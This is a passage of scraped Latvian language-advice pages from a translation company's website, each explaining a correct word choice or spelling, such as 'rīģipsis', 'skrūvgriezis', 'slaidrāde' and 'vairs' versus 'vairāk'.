sapulce sākas pulksten 9. 00. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi sauc šīs ģipškartona loksnes? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-12-27 - Modified: 2024-07-12 - URL: https://skrivanek.lv/regipsis-pret-rigipsis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional REĢIPSIS PRET RĪĢIPSIS 1 Riģipsis? Rīģipsis? Vai varbūt reģipsis? 1938. gadā AS „Rīgas ģipsis” sāka ražot ģipškartona loksnes, kuras izmantoja sausajā būvniecībā. Šādus celtniecības materiālus izmanto vēl šodien. Lai gan sarunvalodā bieži dzirdam vārdu „reģipsis”, zinot materiāla izcelsmi, pareizais variants „rīģipsis” šķiet pavisam loģisks – vārds „rīģipsis” veidots no vārdu savienojuma „Rīgas ģipsis”. Tātad būs rīģipša skrūves, mitrumizturīgais rīģipsis utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ko raksturosim kā savādu un ko – kā citādu? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-12-27 - Modified: 2024-11-05 - URL: https://skrivanek.lv/savads-pret-citads/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SAVĀDS PRET CITĀDS 1 Ko raksturosim kā savādu un ko – kā citādu? Vārdi „savāds” un „dīvains” ir sinonīmi – tā varam raksturot dzīvu būtni, parādību, priekšmetu utt. , kas ir neparasts, izraisa izbrīnu, neizpratni, piemēram, var iestāties savāds klusums, mūs var pārņemt savādas izjūtas. Vārda „citāds” sinonīms ir „atšķirīgs” – tāds, kas atšķiras no iepriekš minētā, zināmā, piemēram, var būt citāds dzīvesveids nekā pārējiem, valkāt citādas drēbes nekā kolēģi utt. Nereti tiek lietots vārds „savāds” pārākajā pakāpē – „savādāks” – ar nozīmi ‘citāds’, piemēram, „viņš ir savādāks nekā es”. Tomēr no valodas kultūras un stila viedokļa labāk teikt „viņš ir citāds nekā es”. Tātad brīvdienu rītā varam baudīt citādas brokastis, nekā ierasts, mūs var pārņemt savādas izjūtas pēc kādas neparastas tikšanās. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai skrūves skrūvēsim ar skrūvgriezi vai skrūvgriezni? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2024-10-30 - URL: https://skrivanek.lv/skruvgriezis-pret-skruvgrieznis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SKRŪVGRIEZIS PRET SKRŪVGRIEZNIS 1 Vai skrūves skrūvēsim ar skrūvgriezi vai skrūvgriezni? Instrumentu skrūvju skrūvēšanai ar speciāli veidotu galu, kas atbilst skrūves galvas rievas vai padziļinājuma formai, dēvējam par skrūvgriezi, nevis par skrūvgriezni. Saliktenī „skrūvgriezis” vārddaļa „griezis” darināta no vārda „griezt” ar nozīmi ‘virzīt pa apli, ap kādu asi’, tāpēc šo instrumentu saucam par skrūvgriezi. Tātad skrūves skrūvēsim ar skrūvgriezi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Angliski to dēvē par „slideshow”. Kā latviski – par slīdrādi vai slaidrādi? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2024-09-23 - URL: https://skrivanek.lv/slidrade-pret-slaidrade/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SLĪDRĀDE PRET SLAIDRĀDE 1 Gan mācību iestādēs, gan darbavietās mums katram gadījies veidot prezentāciju, piemēram, „Powerpoint”, „PresentationWizard” vai citā programmā. Angliski to dēvē par „slideshow”. Kā to sauksim latviski – par slīdrādi vai slaidrādi? Angļu vārds „slideshow” salikts no diviem vārdiem – „slide” ar nozīmi ‘slīdēt’ un „show” – ‘izrāde’. Iepriekš izvēlētu diagrammu un grafiku izspīdināšanai displeja ekrānā noteiktā kārtībā 1998. gadā LZA Terminoloģijas komisija pieņēma terminu „slīdrāde”, taču 2008. gadā tika pieņemts lēmums procesu apzīmēt ar vārdu „slaidrāde”. Līdz ar to ieteicams ir jaunākais termins – „slaidrāde”. Tātad nākamajai darba sapulcei gatavosim slaidrādi par pēdējā ceturksnī paveikto. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai zobu pasta pildīta tūbiņās vai tulbiņās? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-12-27 - Modified: 2022-12-23 - URL: https://skrivanek.lv/tubina-pret-tulbina/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TŪBIŅA PRET TULBIŅA 1 Vai zobu pasta pildīta tūbiņās vai tulbiņās? Vārds „tūbiņa” ir vārda „tūba” deminutīva forma. Šis vārds ienācis no franču valodas vārda „tube” ar nozīmi ‘caurule’. Nav pamata vārdā rakstīt lieku līdzskani „l”, un pareizais rakstījums ir tūbiņa. Tātad zobu pasta pildīta tūbiņās, mājās pa rokai allaž ir kāda ārstnieciskās ziedes tūbiņa. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai teiksim „Viņš vairs šeit nedzīvo!” vai „Viņš vairāk šeit nedzīvo!”? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2022-12-27 - URL: https://skrivanek.lv/vairs-pret-vairak/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VAIRS PRET VAIRĀK 1 Vai teiksim „Viņš vairs šeit nedzīvo! ” vai „Viņš vairāk šeit nedzīvo! ”? Laika apstākļa vārdu „vairs” nolieguma teikumos lieto ar nozīmi ‘turpmāk’: tas norāda, ka kāda darbība, process neturpinās, piemēram, „Es vairs tā nedarīšu! ” lieto ar nozīmi ‘Es turpmāk tā nedarīšu’. Vārds „vairāk” ir mēra apstākļa vārda „daudz” pārākā pakāpe, piemēram, „Jānis ēd daudz, bet Kārlis – vairāk”. Vārdus „vairs” un „vairāk” ikdienas runā bieži lieto kā sinonīmus, taču jāatceras, ka tiem ir pilnīgi atšķirīgas nozīmes. Tātad teiksim: „Viņš vairs šeit nedzīvo! ”Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā sauksim postītājus – par vandaļiem vai vandāļiem? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2024-08-26 - URL: https://skrivanek.lv/vandalis-pret-vandalis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VANDALIS PRET VANDĀLIS 1 Kā sauksim postītājus – par vandaļiem vai vandāļiem? Par vandaļiem vēsturē tika dēvēta sena ģermāņu cilts, kas 455. gadā ieņēma un nopostīja Romu. Pēc cilts nosaukuma latviešu valodā atvasināta arī otra nozīme – par vandaļiem sauc cilvēkus, kuri posta, laupa vai citādi nesaudzīgi izturas pret kultūras u. tml. vērtībām. Vārds „vandalis” ir aizguvums, kas latviešu valodā rakstāms ar īsu patskani „a”. Jāpiebilst, ka nu atvasināta vēl viena nozīme: par vandali dēvē arī programmu, kas veic slepenu vai ļaunprātīgu darbu. Tātad vandaļi posta kapus, vandaļi apzīmē skulptūras, vandaļi posta bērnu laukumus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi raksta šo amatu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-12-27 - Modified: 2022-12-27 - URL: https://skrivanek.lv/valsts-prezidents/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VALSTS PREZIDENTS 1 Vai svētkos uzrunu saka valsts prezidents vai Valsts prezidents? Latviešu valodā amatu un profesiju nosaukumi nav rakstāmi ar lielo sākumburtu. Prezidenta amats ir sastopams visai bieži – daudzos uzņēmumos vadītājs tiek saukts par prezidentu, un arī šī amata nosaukums nav rakstāms ar lielo sākumburtu. Amats „Valsts prezidents” ir izņēmums – šajā vārdkopā vārds „valsts” rakstāms ar lielo sākumburtu, parādot īpašu pagodinājuma attieksmi. Tātad svētkos klausīsimies Valsts prezidenta uzrunu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai cauruļu tukšošanai izmantosim vantūzu vai atsūcēju? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2022-12-27 - URL: https://skrivanek.lv/vantuzs-pret-atsucejs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VANTŪZS PRET ATSŪCĒJS 1 Vai cauruļu tukšošanai izmantosim vantūzu vai atsūcēju? Ierīci, kas cilvēka mehānisku roku kustību rezultātā caurulē rada gaisa spiedienu, tādējādi izkustinot ūdensvada caurulē izveidojušos aizsērējumu, sauc par vantūzu. Vārds „vantūzs” aizgūts no franču valodas vārda „ventouse”. Franču valodas vārdnīcā tam sniegts tulkojums ‘atsūcējs’, tomēr, tā kā vantūzs neveic atsūkšanas funkciju, bet gan kustina caurulē radušos gaisa spiedienu, vārds „atsūcējs” šādā nozīmē nebūs gluži precīzs. Latviešu valodā šo ierīci varam dēvēt par vantūzu. Tātad, lai iztukšotu ūdensvada caurules, mums nepieciešams vantūzs. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vecmāte un vecāmāte ir viens un tas pats? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-12-27 - Modified: 2024-08-13 - URL: https://skrivanek.lv/vecmate-pret-vecamate/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VECMĀTE PRET VECĀMĀTE 1 Vai vecmāte un vecāmāte ir viens un tas pats? Vecmāte ir sertificēta ārstniecības persona, kura seko grūtniecības norisei un sniedz palīdzību dzemdībās. Par vecmāti var strādāt arī vīrietis. Savukārt vecāmāte ir mātes vai tēva māte, bieži saukta par vecmāmiņu. Tātad mazbērni viesojas pie vecāsmātes, bet dzemdību namā strādā vecmātes. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai lēkšana ar gumiju ir vienreizējs vai vienreizīgs piedzīvojums? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2022-12-27 - URL: https://skrivanek.lv/vienreizejs-pret-vienreizigs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VIENREIZĒJS PRET VIENREIZĪGS 1 Vai lēkšana ar gumiju ir vienreizējs vai vienreizīgs piedzīvojums? Vienreizējs ir tāds, ko veic vai kas notiek vienu reizi, piemēram, vienreizējs pabalsts – pabalsts, ko saņemam vienu reizi kādā noteiktā gadījumā, vienreizējās lietošanas trauki – trauki, kuri paredzēti lietošanai vienu reizi. Vienreizīgs ir tāds, kam piemīt izcilas, sevišķas (parasti pozitīvas) īpašības. Šī vārda sinonīmi varētu būt „nepārspējams”, „neparasts”. Vienreizīgs aktieris ir nepārspējams, talantīgs aktieris, vienreizīga ainava – ļoti skaista, neparasta ainava. Tātad lēkšana ar gumiju ir vienreizīgs piedzīvojums! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ppie mājas ierīkojam zālāju vai zālienu? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-12-27 - Modified: 2024-08-26 - URL: https://skrivanek.lv/zaliens-pret-zalajs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ZĀLIENS PRET ZĀLĀJS 1 Vai pie mājas ierīkojam zālāju vai zālienu? Par zālāju dēvē ar zālaugiem aizņemtu platību, kas izveidojusies dabiski, piemēram, pļavas zālājs. Zāliens savukārt ir īpaši ierīkots, ar zālaugiem apsēts zemes gabals, piemēram, dekoratīvs parka zāliens. Jāteic, pēdējos gados šie vārdi aizvien biežāk tiek lietoti kā sinonīmi. Tātad pie savas mājas iekopsim zālienu, savukārt pļavā skriesim pa zālāju. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos 